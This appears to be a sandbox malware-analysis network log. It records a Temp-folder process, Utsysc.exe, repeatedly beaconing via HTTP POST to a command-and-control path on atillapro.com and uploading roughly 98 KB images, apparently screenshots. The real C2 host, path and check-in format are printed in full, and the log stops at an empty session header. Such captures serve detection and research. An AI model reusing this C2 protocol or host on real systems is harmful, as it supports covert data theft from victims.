Apr 9, 2024 14:54:36.820260048 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:36.997817993 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:37.040051937 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:37.265269041 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49795	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:37.132635117 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:37.132635117 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:37.132682085 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:37.132682085 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:37.132699966 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:37.132888079 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:37.132888079 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:37.132888079 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:37.132888079 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:37.132888079 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:37.132888079 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:38.770586014 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49796	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:37.669034004 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:37.846472979 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:37.849045038 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:38.031466007 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49797	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:38.319027901 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:38.496925116 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:38.498819113 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:38.687866926 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49798	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:38.973846912 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:39.151148081 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:39.152182102 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:39.339843988 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49799	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:39.260592937 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:39.260693073 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:39.260735989 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:39.260762930 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:39.260778904 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:39.260808945 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:39.260827065 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:39.260850906 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:39.260868073 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:39.260884047 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:39.260910034 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:41.045183897 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49800	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:39.718487978 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:39.895834923 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:39.897056103 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:40.077996969 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49801	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:40.386444092 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:40.564382076 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:40.565036058 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:40.753582001 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49802	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:41.041673899 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:41.218813896 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:41.233114958 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:41.420909882 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 9, 2024 14:54:41.440340996 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:41.440382957 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:41.440432072 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:41.440462112 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:41.440479994 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:41.440500021 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:41.440522909 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:41.440538883 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:41.440563917 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:41.440598011 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:41.440598011 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:43.061153889 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49803	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:41.710927963 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:41.888377905 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:41.896822929 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:42.078821898 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49804	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:42.371351004 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:42.548630953 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:42.565088987 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:42.764249086 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49805	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:43.055092096 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:43.232323885 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:43.398614883 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:43.590815067 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 9, 2024 14:54:43.617044926 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:43.617088079 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:43.617088079 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:43.617124081 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:43.617124081 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:43.617158890 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:43.617158890 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:43.617198944 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:43.617198944 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:43.617234945 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:43.617234945 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:45.909754992 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49806	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
